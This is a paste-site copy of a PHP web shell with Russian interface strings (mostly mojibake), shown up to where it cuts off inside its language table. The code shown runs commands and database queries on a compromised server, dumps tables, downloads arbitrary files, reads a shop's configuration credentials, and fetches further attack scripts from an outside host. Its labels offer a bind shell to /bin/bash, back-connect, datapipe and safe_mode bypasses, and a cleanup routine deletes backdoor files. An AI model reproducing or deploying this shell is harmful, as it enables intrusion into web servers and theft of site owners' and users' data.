· 9 years ago · Jul 10, 2017, 01:28 PM
1<?
2if (isset($_GET['ii'])) die(phpinfo());
3$language='ru';
4$auth = 0;
5$name='user'; // логин Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (user login)
6$pass=''; // пароль Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ (user password)
7$dictionary_url = 'http://micro-io.dk/e107_images/pop.txt'; //url Ñ Ð´ÐµÑ„Ð¾Ð»Ñ‚Ð½Ñ‹Ð¼ Ñловарем Ð´Ð»Ñ Ð±Ñ€ÑƒÑ‚Ð°
8$penetrator_url = 'http://micro-io.dk/e107_images/pen.txt';
9$sqlz_url = 'http://micro-io.dk/e107_images/sqlz.txt';
10$fb_url = 'http://micro-io.dk/e107_images/fb.txt';
11
12$rows_count = 25; //выÑота оÑновной textarea
13/******************************************************************************************************/
14error_reporting(0);
15set_magic_quotes_runtime(0);
16@set_time_limit(0);
17@ini_set('max_execution_time',0);
18@ini_set('output_buffering',0);
19$safe_mode = @ini_get('safe_mode');
20$version = '1.31';
21if(version_compare(phpversion(), '4.1.0') == -1) {
22 $_POST = &$HTTP_POST_VARS;
23 $_GET = &$HTTP_GET_VARS;
24 $_SERVER = &$HTTP_SERVER_VARS;
25 $_COOKIE = &$HTTP_COOKIE_VARS;
26}
27
28if (@get_magic_quotes_gpc()) {
29 foreach ($_POST as $k=>$v) {
30 $_POST[$k] = stripslashes($v);
31 }
32 foreach ($_COOKIE as $k=>$v) {
33 $_COOKIE[$k] = stripslashes($v);
34 }
35}
36
37if($auth == 1) {
38 if (!isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER'] !==$name || $_SERVER['PHP_AUTH_PW'] !== $pass) {
39 header('WWW-Authenticate: Basic realm="l"');
40 header('HTTP/1.0 401 Unauthorized');
41 exit("Access Denied</b>");
42 }
43}
44if(isset($_GET['penetrator'])) {
45 download_file($penetrator_url, 'penetrator.php');
46 header('Location: penetrator.php');
47 die;
48}
49if(isset($_GET['sql'])) {
50 download_file($sqlz_url, 'sqlz.php');
51 header('Location: sqlz.php');
52 die;
53}
54if (isset($_GET['cleanup'])) {
55 $filez = array('penetrator.php', 'sqlz.php', 'error_log', 'dump.sql', 'dump.sql.gz', 'dump_table.sql', 'dump_table.sql.gz', 'fb.php');
56 foreach ($filez as $f) {
57 unlink($f);
58 ex('rm -rf '.$f);
59 ex('del '.$f);
60 }
61 $fn = basename($_SERVER['REQUEST_URI']);
62 $fn = str_replace('?cleanup', '', $fn);
63 header('Location: '.$fn);
64 die;
65}
66if (isset($_GET['zc_conf'])) {
67 $_POST['cmd'] = 'cat ../includes/configure.php';
68}
69if (isset($_GET['fb'])) {
70download_file($fb_url, 'fb.php');
71header('Location: fb.php');
72die;
73}
74$head = '
75<html>
76<head>
77<title>GoGoGo</title>
78<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
79
80<STYLE>
81tr {
82BORDER-RIGHT: #aaaaaa 1px solid;
83BORDER-TOP: #eeeeee 1px solid;
84BORDER-LEFT: #eeeeee 1px solid;
85BORDER-BOTTOM: #aaaaaa 1px solid;
86color: #000000;
87}
88td {
89BORDER-RIGHT: #aaaaaa 1px solid;
90BORDER-TOP: #eeeeee 1px solid;
91BORDER-LEFT: #eeeeee 1px solid;
92BORDER-BOTTOM: #aaaaaa 1px solid;
93color: #000000;
94}
95.table1 {
96BORDER: 0px;
97BACKGROUND-COLOR: #D4D0C8;
98color: #000000;
99}
100.td1 {
101BORDER: 0px;
102font: 7pt Verdana;
103color: #000000;
104}
105.tr1 {
106BORDER: 0px;
107color: #000000;
108}
109table {
110BORDER: #eeeeee 1px outset;
111BACKGROUND-COLOR: #D4D0C8;
112color: #000000;
113}
114input {
115BORDER-RIGHT: #ffffff 1px solid;
116BORDER-TOP: #999999 1px solid;
117BORDER-LEFT: #999999 1px solid;
118BORDER-BOTTOM: #ffffff 1px solid;
119BACKGROUND-COLOR: #e4e0d8;
120font: 8pt Verdana;
121color: #000000;
122}
123select {
124BORDER-RIGHT: #ffffff 1px solid;
125BORDER-TOP: #999999 1px solid;
126BORDER-LEFT: #999999 1px solid;
127BORDER-BOTTOM: #ffffff 1px solid;
128BACKGROUND-COLOR: #e4e0d8;
129font: 8pt Verdana;
130color: #000000;;
131}
132submit {
133BORDER: buttonhighlight 2px outset;
134BACKGROUND-COLOR: #e4e0d8;
135width: 30%;
136color: #000000;
137}
138textarea {
139BORDER-RIGHT: #ffffff 1px solid;
140BORDER-TOP: #999999 1px solid;
141BORDER-LEFT: #999999 1px solid;
142BORDER-BOTTOM: #ffffff 1px solid;
143BACKGROUND-COLOR: #e4e0d8;
144font: Fixedsys bold;
145color: #000000;
146}
147BODY {
148margin: 1px;
149color: #000000;
150background-color: #e4e0d8;
151}
152A:link {COLOR:red; TEXT-DECORATION: none}
153A:visited { COLOR:red; TEXT-DECORATION: none}
154A:active {COLOR:red; TEXT-DECORATION: none}
155A:hover {color:blue;TEXT-DECORATION: none}
156</STYLE>
157<script language=\'javascript\'>
158function hide_div(id) {
159 document.getElementById(id).style.display = \'none\';
160 document.cookie=id+\'=0;\';
161}
162function show_div(id) {
163 document.getElementById(id).style.display = \'block\';
164 document.cookie=id+\'=1;\';
165}
166function change_divst(id) {
167 if (document.getElementById(id).style.display == \'none\')
168 show_div(id);
169 else
170 hide_div(id);
171}
172</script>';
173class zipfile {
174 var $datasec = array();
175 var $ctrl_dir = array();
176 var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
177 var $old_offset = 0;
178 function unix2DosTime($unixtime = 0) {
179 $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime);
180 if ($timearray['year'] < 1980) {
181 $timearray['year'] = 1980;
182 $timearray['mon'] = 1;
183 $timearray['mday'] = 1;
184 $timearray['hours'] = 0;
185 $timearray['minutes'] = 0;
186 $timearray['seconds'] = 0;
187 }
188 return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) |
189 ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1);
190 }
191 function addFile($data, $name, $time = 0) {
192 $name = str_replace('\\', '/', $name);
193 $dtime = dechex($this->unix2DosTime($time));
194 $hexdtime = '\x' . $dtime[6] . $dtime[7]
195 . '\x' . $dtime[4] . $dtime[5]
196 . '\x' . $dtime[2] . $dtime[3]
197 . '\x' . $dtime[0] . $dtime[1];
198 eval('$hexdtime = "' . $hexdtime . '";');
199 $fr = "\x50\x4b\x03\x04";
200 $fr .= "\x14\x00";
201 $fr .= "\x00\x00";
202 $fr .= "\x08\x00";
203 $fr .= $hexdtime;
204 $unc_len = strlen($data);
205 $crc = crc32($data);
206 $zdata = gzcompress($data);
207 $zdata = substr(substr($zdata, 0, strlen($zdata) - 4), 2);
208 $c_len = strlen($zdata);
209 $fr .= pack('V', $crc);
210 $fr .= pack('V', $c_len);
211 $fr .= pack('V', $unc_len);
212 $fr .= pack('v', strlen($name));
213 $fr .= pack('v', 0);
214 $fr .= $name;
215 $fr .= $zdata;
216 $this -> datasec[] = $fr;
217 $cdrec = "\x50\x4b\x01\x02";
218 $cdrec .= "\x00\x00";
219 $cdrec .= "\x14\x00";
220 $cdrec .= "\x00\x00";
221 $cdrec .= "\x08\x00";
222 $cdrec .= $hexdtime;
223 $cdrec .= pack('V', $crc);
224 $cdrec .= pack('V', $c_len);
225 $cdrec .= pack('V', $unc_len);
226 $cdrec .= pack('v', strlen($name) );
227 $cdrec .= pack('v', 0 );
228 $cdrec .= pack('v', 0 );
229 $cdrec .= pack('v', 0 );
230 $cdrec .= pack('v', 0 );
231 $cdrec .= pack('V', 32 );
232 $cdrec .= pack('V', $this -> old_offset );
233 $this -> old_offset += strlen($fr);
234 $cdrec .= $name;
235 $this -> ctrl_dir[] = $cdrec;
236 }
237 function file() {
238 $data = implode('', $this -> datasec);
239 $ctrldir = implode('', $this -> ctrl_dir);
240 return
241 $data .
242 $ctrldir .
243 $this -> eof_ctrl_dir .
244 pack('v', sizeof($this -> ctrl_dir)) .
245 pack('v', sizeof($this -> ctrl_dir)) .
246 pack('V', strlen($ctrldir)) .
247 pack('V', strlen($data)) .
248 "\x00\x00";
249 }
250}
251function compress(&$filename,&$filedump,$compress) {
252 global $content_encoding;
253 global $mime_type;
254 if ($compress == 'bzip' && @function_exists('bzcompress')) {
255 $filename .= '.bz2';
256 $mime_type = 'application/x-bzip2';
257 $filedump = bzcompress($filedump);
258 }
259 else if ($compress == 'gzip' && @function_exists('gzencode')) {
260 $filename .= '.gz';
261 $content_encoding = 'x-gzip';
262 $mime_type = 'application/x-gzip';
263 $filedump = gzencode($filedump);
264 }
265 else if ($compress == 'zip' && @function_exists('gzcompress')) {
266 $filename .= '.zip';
267 $mime_type = 'application/zip';
268 $zipfile = new zipfile();
269 $zipfile -> addFile($filedump, substr($filename, 0, -4));
270 $filedump = $zipfile -> file();
271 }
272 else {
273 $mime_type = 'application/octet-stream';
274 }
275 }
276function mailattach($to,$from,$subj,$attach) {
277 $headers = "From: $from\r\n";
278 $headers .= "MIME-Version: 1.0\r\n";
279 $headers .= "Content-Type: ".$attach['type'];
280 $headers .= "; name=\"".$attach['name']."\"\r\n";
281 $headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
282 $headers .= chunk_split(base64_encode($attach['content']))."\r\n";
283 if(@mail($to,$subj,"",$headers)) { return 1; }
284 return 0;
285}
286class my_sql {
287 var $host = 'localhost';
288 var $port = '';
289 var $user = '';
290 var $pass = '';
291 var $base = '';
292 var $db = '';
293 var $connection;
294 var $res;
295 var $error;
296 var $rows;
297 var $columns;
298 var $num_rows;
299 var $num_fields;
300 var $dump;
301
302 function connect() {
303 switch($this->db) {
304 case 'MySQL':
305 if(empty($this->port)) { $this->port = '3306'; }
306 if(!function_exists('mysql_connect')) return 0;
307 $this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
308 if(is_resource($this->connection)) return 1;
309 break;
310 case 'MSSQL':
311 if(empty($this->port)) { $this->port = '1433'; }
312 if(!function_exists('mssql_connect')) return 0;
313 $this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
314 if($this->connection) return 1;
315 break;
316 case 'PostgreSQL':
317 if(empty($this->port)) { $this->port = '5432'; }
318 $str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
319 if(!function_exists('pg_connect')) return 0;
320 $this->connection = @pg_connect($str);
321 if(is_resource($this->connection)) return 1;
322 break;
323 case 'Oracle':
324 if(!function_exists('ocilogon')) return 0;
325 $this->connection = @ocilogon($this->user, $this->pass, $this->base);
326 if(is_resource($this->connection)) return 1;
327 break;
328 }
329 return 0;
330 }
331
332 function select_db() {
333 switch($this->db) {
334 case 'MySQL':
335 if(@mysql_select_db($this->base,$this->connection)) return 1;
336 break;
337 case 'MSSQL':
338 if(@mssql_select_db($this->base,$this->connection)) return 1;
339 break;
340 case 'PostgreSQL':
341 return 1;
342 break;
343 case 'Oracle':
344 return 1;
345 break;
346 }
347 return 0;
348 }
349
350 function query($query) {
351 $this->res=$this->error='';
352 switch($this->db) {
353 case 'MySQL':
354 if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection))) {
355 $this->error = @mysql_error($this->connection);
356 return 0;
357 }
358 else if(is_resource($this->res)) { return 1; }
359 return 2;
360 break;
361 case 'MSSQL':
362 if(false===($this->res=@mssql_query($query,$this->connection))) {
363 $this->error = 'Query error';
364 return 0;
365 }
366 else if(@mssql_num_rows($this->res) > 0) { return 1; }
367 return 2;
368 break;
369 case 'PostgreSQL':
370 if(false===($this->res=@pg_query($this->connection,$query))) {
371 $this->error = @pg_last_error($this->connection);
372 return 0;
373 }
374 else if(@pg_num_rows($this->res) > 0) { return 1; }
375 return 2;
376 break;
377 case 'Oracle':
378 if(false===($this->res=@ociparse($this->connection,$query))) {
379 $this->error = 'Query parse error';
380 }
381 else {
382 if(@ociexecute($this->res)) {
383 if(@ocirowcount($this->res) != 0) return 2;
384 return 1;
385 }
386 $error = @ocierror();
387 $this->error=$error['message'];
388 }
389 break;
390 }
391 return 0;
392 }
393 function get_result() {
394 $this->rows=array();
395 $this->columns=array();
396 $this->num_rows=$this->num_fields=0;
397 switch($this->db) {
398 case 'MySQL':
399 $this->num_rows=@mysql_num_rows($this->res);
400 $this->num_fields=@mysql_num_fields($this->res);
401 while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
402 @mysql_free_result($this->res);
403 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
404 break;
405 case 'MSSQL':
406 $this->num_rows=@mssql_num_rows($this->res);
407 $this->num_fields=@mssql_num_fields($this->res);
408 while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
409 @mssql_free_result($this->res);
410 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;};
411 break;
412 case 'PostgreSQL':
413 $this->num_rows=@pg_num_rows($this->res);
414 $this->num_fields=@pg_num_fields($this->res);
415 while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
416 @pg_free_result($this->res);
417 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
418 break;
419 case 'Oracle':
420 $this->num_fields=@ocinumcols($this->res);
421 while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
422 @ocifreestatement($this->res);
423 if($this->num_rows){$this->columns = @array_keys($this->rows[0]); return 1;}
424 break;
425 }
426 return 0;
427 }
428 function dump($table) {
429 if(empty($table)) return 0;
430 $this->dump=array();
431 $this->dump[0] = '##';
432 $this->dump[1] = '## --------------------------------------- ';
433 $this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
434 $this->dump[3] = '## Database: '.$this->base;
435 $this->dump[4] = '## Table: '.$table;
436 $this->dump[5] = '## --------------------------------------- ';
437 switch($this->db) {
438 case 'MySQL':
439 $this->dump[0] = '## MySQL dump';
440 if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
441 if(!$this->get_result()) return 0;
442 $this->dump[] = $this->rows[0]['Create Table'];
443 $this->dump[] = '## --------------------------------------- ';
444 if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
445 if(!$this->get_result()) return 0;
446 for($i=0;$i<$this->num_rows;$i++) {
447 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
448 $this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `", $this->columns).'`) VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
449 }
450 break;
451 case 'MSSQL':
452 $this->dump[0] = '## MSSQL dump';
453 if($this->query('SELECT * FROM '.$table)!=1) return 0;
454 if(!$this->get_result()) return 0;
455 for($i=0;$i<$this->num_rows;$i++) {
456 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
457 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
458 }
459 break;
460 case 'PostgreSQL':
461 $this->dump[0] = '## PostgreSQL dump';
462 if($this->query('SELECT * FROM '.$table)!=1) return 0;
463 if(!$this->get_result()) return 0;
464 for($i=0;$i<$this->num_rows;$i++) {
465 foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
466 $this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ", $this->columns).') VALUES (\''.@implode("', '", $this->rows[$i]).'\');';
467 }
468 break;
469 case 'Oracle':
470 $this->dump[0] = '## ORACLE dump';
471 $this->dump[] = '## under construction';
472 break;
473 default:
474 return 0;
475 break;
476 }
477 return 1;
478 }
479 function close() {
480 switch($this->db) {
481 case 'MySQL':
482 @mysql_close($this->connection);
483 break;
484 case 'MSSQL':
485 @mssql_close($this->connection);
486 break;
487 case 'PostgreSQL':
488 @pg_close($this->connection);
489 break;
490 case 'Oracle':
491 @oci_close($this->connection);
492 break;
493 }
494 }
495 function affected_rows() {
496 switch($this->db) {
497 case 'MySQL':
498 return @mysql_affected_rows($this->res);
499 break;
500 case 'MSSQL':
501 return @mssql_affected_rows($this->res);
502 break;
503 case 'PostgreSQL':
504 return @pg_affected_rows($this->res);
505 break;
506 case 'Oracle':
507 return @ocirowcount($this->res);
508 break;
509 default:
510 return 0;
511 break;
512 }
513 }
514}
515if(!empty($_POST['cmd']) && $_POST['cmd']=="download_file" && !empty($_POST['d_name'])) {
516 if(!$file=@fopen($_POST['d_name'],"r")) { err(1,$_POST['d_name']); $_POST['cmd']=""; }
517 else {
518 @ob_clean();
519 $filename = @basename($_POST['d_name']);
520 $filedump = @fread($file,@filesize($_POST['d_name']));
521 fclose($file);
522 $content_encoding=$mime_type='';
523 compress($filename,$filedump,$_POST['compress']);
524 if (!empty($content_encoding)) { header('Content-Encoding: ' . $content_encoding); }
525 header("Content-type: ".$mime_type);
526 header("Content-disposition: attachment; filename=\"".$filename."\";");
527 echo $filedump;
528 exit();
529 }
530}
531if(isset($_GET['phpinfo'])) { echo @phpinfo(); echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die(); }
532if (!empty($_POST['cmd']) && $_POST['cmd']=="db_query") {
533 header('Content-Type: text/html; charset=utf-8');
534 echo $head;
535 $sql = new my_sql();
536 $sql->db = $_POST['db'];
537 $sql->host = $_POST['db_server'];
538 $sql->port = $_POST['db_port'];
539 $sql->user = $_POST['mysql_l'];
540 $sql->pass = $_POST['mysql_p'];
541 $sql->base = $_POST['mysql_db'];
542 $querys = @explode(';',$_POST['db_query']);
543 echo '<body bgcolor=#e4e0d8>';
544 if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
545 else {
546 if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
547 else {
548 foreach($querys as $num=>$query) {
549 if(strlen($query)>5) {
550 echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
551 switch($sql->query($query)) {
552 case '0':
553 echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
554 break;
555 case '1':
556 if($sql->get_result()) {
557 echo "<table width=100%>";
558 foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
559 $keys = @implode(" </b></font></td><td bgcolor=#cccccc><font face=Verdana size=-2><b> ", $sql->columns);
560 echo "<tr><td bgcolor=#cccccc><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
561 for($i=0;$i<$sql->num_rows;$i++) {
562 foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
563 $values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
564 echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
565 }
566 echo "</table>";
567 }
568 break;
569 case '2':
570 $ar = $sql->affected_rows()?($sql->affected_rows()):('0');
571 echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
572 break;
573 }
574 }
575 }
576 }
577 }
578 echo "<br><form name=form method=POST>";
579 echo in('hidden','db',0,$_POST['db']);
580 echo in('hidden','db_server',0,$_POST['db_server']);
581 echo in('hidden','db_port',0,$_POST['db_port']);
582 echo in('hidden','mysql_l',0,$_POST['mysql_l']);
583 echo in('hidden','mysql_p',0,$_POST['mysql_p']);
584 echo in('hidden','mysql_db',0,$_POST['mysql_db']);
585 echo in('hidden','cmd',0,'db_query');
586 echo "<div align=center>";
587 echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
588 echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
589 echo "</form>";
590 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>"; die();
591 }
592
593if(isset($_GET['delete'])) {
594 @unlink(__FILE__);
595}
596if(isset($_GET['tmp'])) {
597 @unlink("/tmp/bdpl");
598 @unlink("/tmp/back");
599 @unlink("/tmp/bd");
600 @unlink("/tmp/bd.c");
601 @unlink("/tmp/dp");
602 @unlink("/tmp/dpc");
603 @unlink("/tmp/dpc.c");
604}
605if(isset($_GET['phpini'])) {
606echo $head;
607function U_value($value) {
608 if ($value == '') return '<i>no value</i>';
609 if (@is_bool($value)) return $value ? 'TRUE' : 'FALSE';
610 if ($value === null) return 'NULL';
611 if (@is_object($value)) $value = (array) $value;
612 if (@is_array($value)) {
613 @ob_start();
614 print_r($value);
615 $value = @ob_get_contents();
616 @ob_end_clean();
617 }
618 return U_wordwrap((string) $value);
619}
620function U_wordwrap($str) {
621 $str = @wordwrap(@htmlspecialchars($str), 100, '<wbr />', true);
622 return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!', '$1$2<wbr />', $str);
623}
624if (@function_exists('ini_get_all')) {
625 $r = '';
626 echo '<table width=100%>', '<tr><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#cccccc><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
627 foreach (@ini_get_all() as $key=>$value) {
628 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
629 }
630 echo $r;
631 echo '</table>';
632}
633echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
634die();
635}
636
637if(isset($_GET['cpu'])) {
638 echo $head;
639 echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
640 $cpuf = @file("cpuinfo");
641 if($cpuf) {
642 $c = @sizeof($cpuf);
643 for($i=0;$i<$c;$i++) {
644 $info = @explode(":",$cpuf[$i]);
645 if($info[1]==""){ $info[1]="---"; }
646 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
647 }
648 echo $r;
649 } else {
650 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
651 }
652 echo '</table>';
653 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
654 die();
655}
656
657if(isset($_GET['mem'])) {
658 echo $head;
659 echo '<table width=100%><tr><td bgcolor=#cccccc><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
660 $memf = @file("meminfo");
661 if($memf) {
662 $c = sizeof($memf);
663 for($i=0;$i<$c;$i++) {
664 $info = explode(":",$memf[$i]);
665 if($info[1]==""){ $info[1]="---"; }
666 $r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
667 }
668 echo $r;
669 }
670 else {
671 echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
672 }
673 echo '</table>';
674 echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
675 die();
676}
677$lang=array(
678'ru_text1' =>'Ð’Ñ‹Ð¿Ð¾Ð»Ð½ÐµÐ½Ð½Ð°Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ð°',
679'ru_text2' =>'Выполнение команд на Ñервере',
680'ru_text3' =>'Выполнить команду',
681'ru_text4' =>'Ð Ð°Ð±Ð¾Ñ‡Ð°Ñ Ð´Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ',
682'ru_text5' =>'Загрузка файлов на Ñервер',
683'ru_text6' =>'Локальный файл',
684'ru_text7' =>'ÐлиаÑÑ‹',
685'ru_text8' =>'Выберите алиаÑ',
686'ru_butt1' =>'Выполнить',
687'ru_butt2' =>'Загрузить',
688'ru_text9' =>'Открытие порта и привÑзка его к /bin/bash',
689'ru_text10'=>'Открыть порт',
690'ru_text11'=>'Пароль Ð´Ð»Ñ Ð´Ð¾Ñтупа',
691'ru_butt3' =>'Открыть',
692'ru_text12'=>'back-connect',
693'ru_text13'=>'IP-адреÑ',
694'ru_text14'=>'Порт',
695'ru_butt4' =>'Выполнить',
696'ru_text15'=>'Загрузка файлов Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð½Ð¾Ð³Ð¾ Ñервера',
697'ru_text16'=>'ИÑпользовать',
698'ru_text17'=>'Удаленный файл',
699'ru_text18'=>'Локальный файл',
700'ru_text19'=>'Exploits',
701'ru_text20'=>'ИÑпользовать',
702'ru_text21'=>'Ðовое имÑ',
703'ru_text22'=>'datapipe',
704'ru_text23'=>'Локальный порт',
705'ru_text24'=>'Удаленный хоÑÑ‚',
706'ru_text25'=>'Удаленный порт',
707'ru_text26'=>'ИÑпользовать',
708'ru_butt5' =>'ЗапуÑтить',
709'ru_text28'=>'Работа в safe_mode',
710'ru_text29'=>'ДоÑтуп запрещен',
711'ru_butt6' =>'Сменить',
712'ru_text30'=>'ПроÑмотр файла',
713'ru_butt7' =>'ВывеÑти',
714'ru_text31'=>'Файл не найден',
715'ru_text32'=>'Выполнение PHP кода',
716'ru_text33'=>'Проверка возможноÑти обхода ограничений open_basedir через функции cURL',
717'ru_butt8' =>'Проверить',
718'ru_text34'=>'Проверка возможноÑти обхода ограничений safe_mode через функцию include',
719'ru_text35'=>'Проверка возможноÑти обхода ограничений safe_mode через загрузку файла в mysql',
720'ru_text36'=>'База . Таблица',
721'ru_text37'=>'Логин',
722'ru_text38'=>'Пароль',
723'ru_text39'=>'База',
724'ru_text40'=>'Дамп таблицы базы данных',
725'ru_butt9' =>'Дамп',
726'ru_text41'=>'Сохранить в файле',
727'ru_text42'=>'Редактирование файла',
728'ru_text43'=>'Редактировать файл',
729'ru_butt10'=>'Сохранить',
730'ru_butt11'=>'Редактировать',
731'ru_text44'=>'Редактирование файла невозможно! ДоÑтуп только Ð´Ð»Ñ Ñ‡Ñ‚ÐµÐ½Ð¸Ñ!',
732'ru_text45'=>'Файл Ñохранен',
733'ru_text46'=>'ПроÑмотр phpinfo()',
734'ru_text47'=>'ПроÑмотр наÑтроек php.ini',
735'ru_text48'=>'Удаление временных файлов',
736'ru_text49'=>'Удаление Ñкрипта Ñ Ñервера',
737'ru_text50'=>'Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ процеÑÑоре',
738'ru_text51'=>'Ð˜Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð¾ памÑти',
739'ru_text52'=>'ТекÑÑ‚ Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка',
740'ru_text53'=>'ИÑкать в папке',
741'ru_text54'=>'ПоиÑк текÑта в файлах',
742'ru_butt12'=>'Ðайти',
743'ru_text55'=>'Только в файлах',
744'ru_text56'=>'Ðичего не найдено',
745'ru_text57'=>'Создать/Удалить Файл/Директорию',
746'ru_text58'=>'ИмÑ',
747'ru_text59'=>'Файл',
748'ru_text60'=>'Директорию',
749'ru_butt13'=>'Создать/Удалить',
750'ru_text61'=>'Файл Ñоздан',
751'ru_text62'=>'Ð”Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ Ñоздана',
752'ru_text63'=>'Файл удален',
753'ru_text64'=>'Ð”Ð¸Ñ€ÐµÐºÑ‚Ð¾Ñ€Ð¸Ñ ÑƒÐ´Ð°Ð»ÐµÐ½Ð°',
754'ru_text65'=>'Создать',
755'ru_text66'=>'Удалить',
756'ru_text67'=>'Chown/Chgrp/Chmod',
757'ru_text68'=>'Команда',
758'ru_text69'=>'Параметр1',
759'ru_text70'=>'Параметр2',
760'ru_text71'=>"Второй параметр команды:\r\n- Ð´Ð»Ñ CHOWN - Ð¸Ð¼Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ Ð¿Ð¾Ð»ÑŒÐ·Ð¾Ð²Ð°Ñ‚ÐµÐ»Ñ Ð¸Ð»Ð¸ его UID (чиÑлом) \r\n- Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ CHGRP - Ð¸Ð¼Ñ Ð³Ñ€ÑƒÐ¿Ð¿Ñ‹ или GID (чиÑлом) \r\n- Ð´Ð»Ñ ÐºÐ¾Ð¼Ð°Ð½Ð´Ñ‹ CHMOD - целое чиÑло в воÑьмеричном предÑтавлении (например 0777)",
761'ru_text72'=>'ТекÑÑ‚ Ð´Ð»Ñ Ð¿Ð¾Ð¸Ñка',
762'ru_text73'=>'ИÑкать в папке',
763'ru_text74'=>'ИÑкать в файлах',
